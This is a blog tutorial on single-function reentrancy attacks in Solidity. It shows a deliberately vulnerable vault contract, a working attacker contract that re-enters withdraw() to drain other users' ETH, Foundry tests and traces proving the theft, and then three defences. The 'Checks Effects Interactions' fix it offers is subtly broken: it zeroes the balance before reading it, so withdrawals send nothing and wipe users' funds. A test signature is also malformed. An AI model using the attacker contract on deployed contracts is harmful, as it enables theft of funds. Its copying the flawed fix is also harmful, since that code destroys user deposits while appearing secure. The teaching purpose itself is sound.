- Published on
Single-Function Reentrancy Attacks in Solidity
Exploring the simplest form of Reentrancy Attacks
- Authors
- Name
- 🐰 r4bbit
- @0x_r4bbit
Reentrancy attacks are one of the most common attacks in solidity projects and many, even battle-tested, DeFi protocols have suffered from these which resulted in the loss of lots of protocol and user funds. It's important to have a good understanding of how these attacks work and how to protect your code against them.
In this guide I'll go through the simplest type of Reentrancy Attacks and provide examples that demonstrate what the vulnerability looks like in code, and then discuss how it can be fixed.
What is a Reentrancy Attack?
First of all, let's quickly discuss what Reentrancy Attacks are. If we search for a definition on the internet, we'll most like run into this one here:
Unsafe external call(s) that allow(s) malicious manipulation of the internal and/or associated external contract state(s).
While this is still rather abstract, I find that this is one of the better definitions out there. The idea is that (in most cases) some contract is able to (recursively) call back into another contract, which then gains access to that contract's state and funds. We'll see in a bit what that looks like in practice. As mentioned earlier, there are various types of such attacks. We'll start with the simplest one.
Single-Function Reentrancy
The most trivial variation of a reentrancy attack is a Single-Function Reentrancy. As the name suggests, it involves mostly a single function as attack vector, which is reentered during the attack. Over the years we've figured out various techniques to protect ourselves from this type of attack, so chances are we won't see this particular type in real world projects anymore. Or will we?
Either way, this variation of the attack helps us understanding the core idea of the vulnerability, so let's take a look at how it can be carried out.
The smart contract below shows the go to example when comes to demonstrating a simple reentrancy attack. It's a super simplified vault where accounts can deposit and withdraw funds:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
contract SimpleVault {
error InsufficientFunds();
error NothingToWithdraw();
error FailedToWithdraw();
mapping(address accounts => uint256 balance) public balances;
function deposit() external payable {
if (msg.value < 1 ether) {
revert InsufficientFunds();
}
balances[msg.sender] += msg.value;
}
function withdraw() external {
if (balances[msg.sender] == 0) {
revert NothingToWithdraw();
}
uint256 balance = balances[msg.sender];
(bool success, ) = address(msg.sender).call{value: balance}("");
if (!success) {
revert FailedToWithdraw();
}
balances[msg.sender] = 0;
}
}
The contract keeps track of deposited funds using balances
. When a transaction executes deposit()
, it has to send at least 1 ETH along with it (this is not a requirement, just part of the example). The balance for the account making the deposit is then increased.
The withdraw()
function then lets accounts withdraw all of their funds, provided they have any. It retrieves the balance
for the account sending the transaction and sends the same amount in ETH to that account using call()
. Once done, balances
is updated for that account accordingly.
Alright, so how can this be attacked? There are two things we need to be aware of:
- Notice that
balances
inwithdraw()
is only updated after the funds were sent to the account that invoked the function (this is already bad practice, check out the CEI-Pattern). - We cannot be sure that
msg.sender
is an EOA account. In fact, to exploit this,msg.sender
will be another smart contract. - Smart contracts can receive ETH when they implement either
fallback()
orreceive()
, depending on context. Whatever logic is defined in that callback will then be executed every time the contract receives ETH.
To attack this vault, we implement another smart contract that first deposits 1 ETH, so that once it tries to withdraw, it won't revert. We also implement receive()
which will be invoked by SimpleVault
via the .call()
when our attacker contract attempts to withdraw()
. Lastly, inside our attacker contract's receive()
function, we call withdraw()
on SimpleVault
again as long as it has funds.
And because balances
is only updated after the funds are sent, our attacker contract will keep doing that, until all funds are drained from SimpleVault
.
Here's what such an attacker contract could look like:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {SimpleVault} from "./SimpleVault.sol";
contract Attacker {
SimpleVault public simpleVault;
constructor(SimpleVault _simpleVault) {
simpleVault = _simpleVault;
}
receive() external payable {
// we have received ETH from `withdraw`, let's keep doing that
if (address(simpleVault).balance >= 1 ether) {
simpleVault.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether); // ensure we attack with at least 1 ETH
simpleVault.deposit{value: 1 ether}();
simpleVault.withdraw();
}
}
In a nutshell, the callstack will be something like:
attack() -> deposit() -> withdraw() -> receive() -> withdraw() -> receive() -> ...
With a tool like Foundry, we can set up a test scenario that proofs that this exploit works. First, we deploy the Attacker
, and SimpleVault
contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {SimpleVault} from "../src/SimpleVault.sol";
import {Attacker} from "../src/Attacker.sol";
contract SingleFunctionReentrancy is Test {
SimpleVault public simpleVault;
Attacker public attacker;
function setUp() public {
simpleVault = new SimpleVault();
attacker = new Attacker(simpleVault);
}
...
}
Then, we set up the test by having bob
and alice
deposit their funds into the vault. We use Foundry's vm.deal()
cheatcode to send ETH to both accounts, then we use vm.prank()
to impersonate them and call deposit()
respectively.
contract SingleFunctionReentrancy is Test {
...
function testSingleFunctionReentrancy() public {
address alice = payable(makeAddr("alice"));
address bob = payable(makeAddr("bob"));
// alice and bob deposit 2 ETH each
vm.deal(alice, 2 ether);
vm.deal(bob, 2 ether);
vm.prank(alice);
simpleVault.deposit{value: 2 ether}();
vm.prank(bob);
simpleVault.deposit{value: 2 ether}();
assertEq(address(simpleVault).balance, 4 ether); // There's now 4 ETH in the vault
...
}
}
Lastly, we have attacker
deposit ETH as well and carry out the reentrancy via attack()
:
contract SingleFunctionReentrancy is Test {
...
function testSingleFunctionReentrancy public {
...
attacker.attack{value: 1 ether}();
// `SimpleVault` is drained
assertEq(address(simpleVault).balance, 0 ether);
assertEq(address(attacker).balance, 5 ether);
}
}
Executing the test gives us the following callstack and proofs that the attack has worked. Notice how Attacker
recursively calls withdraw
until SimpleVault
's balance is below 1 ETH:
Running 1 test for test/SingleFunctionReentrancy.t.sol:SingleFunctionReentrancy
[PASS] testSingleFunctionReentrancy() (gas: 137412)
Traces:
[137412] SingleFunctionReentrancy::testSingleFunctionReentrancy()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]
├─ [0] VM::label(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], alice)
│ └─ ← ()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]
├─ [0] VM::label(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], bob)
│ └─ ← ()
├─ [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 2000000000000000000 [2e18])
│ └─ ← ()
├─ [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 2000000000000000000 [2e18])
│ └─ ← ()
├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← ()
├─ [22440] SimpleVault::deposit{value: 2000000000000000000}()
│ └─ ← ()
├─ [0] VM::prank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← ()
├─ [22440] SimpleVault::deposit{value: 2000000000000000000}()
│ └─ ← ()
├─ [58937] Attacker::attack{value: 1000000000000000000}()
│ ├─ [22440] SimpleVault::deposit{value: 1000000000000000000}()
│ │ └─ ← ()
│ ├─ [33143] SimpleVault::withdraw()
│ │ ├─ [27058] Attacker::receive{value: 1000000000000000000}()
│ │ │ ├─ [26439] SimpleVault::withdraw()
│ │ │ │ ├─ [20354] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ ├─ [19735] SimpleVault::withdraw()
│ │ │ │ │ │ ├─ [13650] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ ├─ [13031] SimpleVault::withdraw()
│ │ │ │ │ │ │ │ ├─ [6946] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ ├─ [6327] SimpleVault::withdraw()
│ │ │ │ │ │ │ │ │ │ ├─ [302] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.06ms
Congratulations, You've just implemented a reentrancy attack! Okay, now that we know how to exploit this contract, how do we protect it against such attacks?
Protecting against Single-Function Reentrancy
As mentioned earlier, this type of reentrancy attack exists for a long time and various solutions have been developed to protect against it the meantime. Here are a few options to choose from:
Checks Effects Interactions Pattern
Probably the first thing to consider is to make use of the CEI ("Checks Effects Interactions") pattern. The idea is that contract functions should first perform their validity checks, then apply necessary effects and only at the very end perform interactions with other contracts.
In our case, the place where we can apply this is the withdraw()
function:
function withdraw() external {
if (balances[msg.sender] == 0) { // perform checks
revert NothingToWithdraw();
}
uint256 balance = balances[msg.sender];
(bool success, ) = address(msg.sender).call{value: balance}(""); // interaction
if (!success) {
revert FailedToWithdraw();
}
balances[msg.sender] = 0; // apply effects
}
The line that allows for the exploit in the first place is the one that updates balances
after the interaction with msg.sender
via call()
has happened. Remember, when Attacker
calls back into widthdraw()
, balances
hasn't been updated yet, so it still thinks the attacker has 1 ETH in the vault.
All we have to do is to move this around, such that balances
has the latest state before the interaction happens:
function withdraw() external {
if (balances[msg.sender] == 0) { // perform checks
revert NothingToWithdraw();
}
balances[msg.sender] = 0; // apply effects
uint256 balance = balances[msg.sender];
(bool success, ) = address(msg.sender).call{value: balance}(""); // interaction
if (!success) {
revert FailedToWithdraw();
}
}
We can verify that this is true by running our tests again, considering this change:
├─ [34257] Attacker::attack{value: 1000000000000000000}()
│ ├─ [22440] SimpleVault::deposit{value: 1000000000000000000}()
│ │ └─ ← ()
│ ├─ [1611] SimpleVault::withdraw()
│ │ ├─ [1162] Attacker::receive()
│ │ │ ├─ [379] SimpleVault::withdraw()
│ │ │ │ └─ ← "NothingToWithdraw()"
│ │ │ └─ ← "NothingToWithdraw()"
│ │ └─ ← "FailedToWithdraw()"
│ └─ ← "FailedToWithdraw()"
└─ ← "FailedToWithdraw()"
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 543.58µs
Failing tests:
Encountered 1 failing test in test/SingleFunctionReentrancy.t.sol:SingleFunctionReentrancy
[FAIL. Reason: FailedToWithdraw()] testSingleFunctionReentrancy() (gas: 117331)
Encountered a total of 1 failing tests, 0 tests succeeded
Adjust balances instead of reset and use checked math
If, for whatever reasons, balances
can't be moved anywhere else, then there's still the option to adjust balances
using the previous balance instead of resetting it to 0
, and then relying on checked arithmetic as pointed out by @philogy.
What this means is that we'd change withdraw()
to look like this:
function withdraw() external {
if (balances[msg.sender] == 0) {
revert NothingToWithdraw();
}
uint256 balance = balances[msg.sender];
(bool success, ) = address(msg.sender).call{value: balance}("");
if (!success) {
revert FailedToWithdraw();
}
balances[msg.sender] -= balance; // adjust `balances`
}
Note: This only protects your code if you're using Solidity 0.8.0 and up!
So how exactly does this help? Ultimately, withdraw()
has to finish doing its work. Once Attacker
is done reentering the function recursively, the function will continue and eventually hitthe instruction to update balances
. When we adjust balances
using balances[msg.sender] -= balance;
, what happens under the hood is that there's a check being done on whether the value change will cause an arithmetic under- or overflow. If it does, the operation will fail and revert, which will undo all of the state changes that happend until then, including the funds that were sent to the attacker.
Here's what our test results look like now:
├─ [73827] Attacker::attack{value: 1000000000000000000}()
│ ├─ [22440] SimpleVault::deposit{value: 1000000000000000000}()
│ │ └─ ← ()
│ ├─ [41583] SimpleVault::withdraw()
│ │ ├─ [34038] Attacker::receive{value: 1000000000000000000}()
│ │ │ ├─ [33255] SimpleVault::withdraw()
│ │ │ │ ├─ [25710] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ ├─ [24927] SimpleVault::withdraw()
│ │ │ │ │ │ ├─ [17376] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ ├─ [13272] SimpleVault::withdraw()
│ │ │ │ │ │ │ │ ├─ [7106] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ ├─ [6487] SimpleVault::withdraw()
│ │ │ │ │ │ │ │ │ │ ├─ [302] Attacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ │ └─ ← ()
│ │ │ │ │ │ │ │ └─ ← "Arithmetic over/underflow"
│ │ │ │ │ │ │ └─ ← "Arithmetic over/underflow"
│ │ │ │ │ │ └─ ← "FailedToWithdraw()"
│ │ │ │ │ └─ ← "FailedToWithdraw()"
│ │ │ │ └─ ← "FailedToWithdraw()"
│ │ │ └─ ← "FailedToWithdraw()"
│ │ └─ ← "FailedToWithdraw()"
│ └─ ← "FailedToWithdraw()"
└─ ← "FailedToWithdraw()"
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 671.38µs
Failing tests:
Encountered 1 failing test in test/SingleFunctionReentrancy.t.sol:SingleFunctionReentrancy
[FAIL. Reason: FailedToWithdraw()] testSingleFunctionReentrancy() (gas: 156901)
Encountered a total of 1 failing tests, 0 tests succeeded
These under the hood checks were added in Solidity 0.8.0, so if you're using a version below that, this change will not protect against the the attack. Because of those checks being done, this also means that the operations cost a bit more gas. Hence, where feasible, developers can opt out of these checks by using an unchecked
block.
In other words, below is a version of withdraw()
that would be vulnerable to reentrancy again:
function withdraw() external {
if (balances[msg.sender] == 0) {
revert NothingToWithdraw();
}
uint256 balance = balances[msg.sender];
(bool success, ) = address(msg.sender).call{value: balance}("");
if (!success) {
revert FailedToWithdraw();
}
unchecked {
balances[msg.sender] -= balance; // adjust `balances`
}
}
Using ReentrancyGuard
Another option is to make use of OpenZeppelin's ReentrancyGuard
, which adds a modifier that can be applied to function that should not allow reentrancy.
The way this works is that it essentially introduces a mutex that ensures a function can't be called again while it's still executing, using a simple lock
flag. Here's what the modifer looks like at the time of writing this post:
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
error ReentrancyGuardReentrantCall();
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
if (_status == _ENTERED) {
revert ReentrancyGuardReentrantCall();
}
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
function _reentrancyGuardEntered() internal view returns (bool) {
return _status == _ENTERED;
}
}
If we apply nonReentrant
to withdraw()
, it will revert with ReentrancyGuardReentrantCall()
the moment the attacker attempts to reenter withdraw()
as part of its receive()
hook.
Wrapping up
And that's it for now! Let's quickly recover what we've learned:
- Reentrancy attacks allow attackers to call back into a contract and drain funds.
- There are various types of reentrancy attacks with Single-Function Reentrancy being the simplest
- We can protect against Single-Function Reentrancy by using the CEI-Pattern, use checked math and
ReentrancyGuard
.
Hopefully you've learned something new. We'll explore other types of reentrancy in future posts. To learn about Callback-Function Reentrancy, check out this post.